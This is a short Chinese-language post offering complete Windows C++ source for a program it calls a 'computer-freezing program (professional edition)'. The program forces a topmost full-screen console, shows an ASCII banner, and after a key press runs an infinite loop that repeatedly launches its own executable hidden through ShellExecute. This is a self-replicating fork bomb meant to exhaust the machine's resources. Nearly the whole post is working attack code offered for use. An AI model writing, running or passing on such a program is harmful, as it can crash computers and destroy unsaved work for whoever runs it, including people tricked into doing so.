可以让电脑卡机的c++程序

#include <iostream>
#include<windows.h>                   
#include <shellapi.h> 
#include <stdio.h>
using namespace std;

void FullScreen(){ 

HWND hwnd=GetForegroundWindow();
int x=GetSystemMetrics(SM_CXSCREEN)+300,y=GetSystemMetrics(SM_CYSCREEN)+300;
char setting[30];
sprintf(setting,"mode con:cols=%d lines=%d",x,y);//设置控制台行数列数
system(setting); 

SetWindowPos(hwnd, HWND_TOPMOST,0,0,x+300,y+300,NULL);//置顶


MoveWindow(hwnd,-10,-40,x+300,y+300,1);//移动
printf("\n\n");
}
int main()
{
char b;
FullScreen();//调用子函数 
char aj[]="                                                                                     卡电脑程序                                                                                        ";
char ak[]="                                                                                      (专业版)                                                                                         ";
char al[]="                                                                                                                                                                                    ";
char am[]="                                                        爨                               爨                               爨                                                                 ";
char an[]="                                                        爨爨爨爨爨                       爨爨爨爨爨                       爨爨爨爨爨                                                                                 ";
char ao[]="                                          爨爨爨爨爨爨爨爨爨爨爨爨爨爨爨   爨爨爨爨爨爨爨爨爨爨爨爨爨爨爨    爨爨爨爨爨爨爨爨爨爨爨爨爨爨爨                                                                                            ";
char ap[]="                                                        爨爨                             爨爨                             爨爨                                                              ";
char aq[]="                                                        爨  爨                           爨  爨                           爨  爨                                                                  ";
char ar[]="                                                        爨    爨                         爨    爨                         爨    爨                                                                        ";
char as[]="                                                        爨      爨                       爨      爨                       爨      爨                                                                        ";
char at[]="                                                                                 请按任意键开始卡机                                                                                               ";
char au[]="                                                                                                                                                                              ";
char av[]="                                                                                                                                                                                    ";
char aw[]="                                                                                                                                                                                    ";
cout<<endl<<endl<<endl<<endl<<aj<<endl<<ak<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<am<<endl<<am<<endl<<am<<endl<<an<<endl<<am<<endl<<am<<endl<<am<<endl<<ao<<endl<<ap<<endl<<aq<<endl<<ar<<endl<<as<<endl<<am<<endl<<am<<endl<<am<<endl<<am<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<at;

                system("color f5");//改变程序颜色 
                getchar();
                system("cls");
                system("color 3a");//改变程序颜色 
                for(;;b++)//无限循环 
            {
            ShellExecute(NULL, "open","卡电脑（测试）.exe",NULL,NULL, SW_HIDE  );//反复打开自己 ,中间是程序的文件名 
                cout<<b;
                }

    
return 0;
}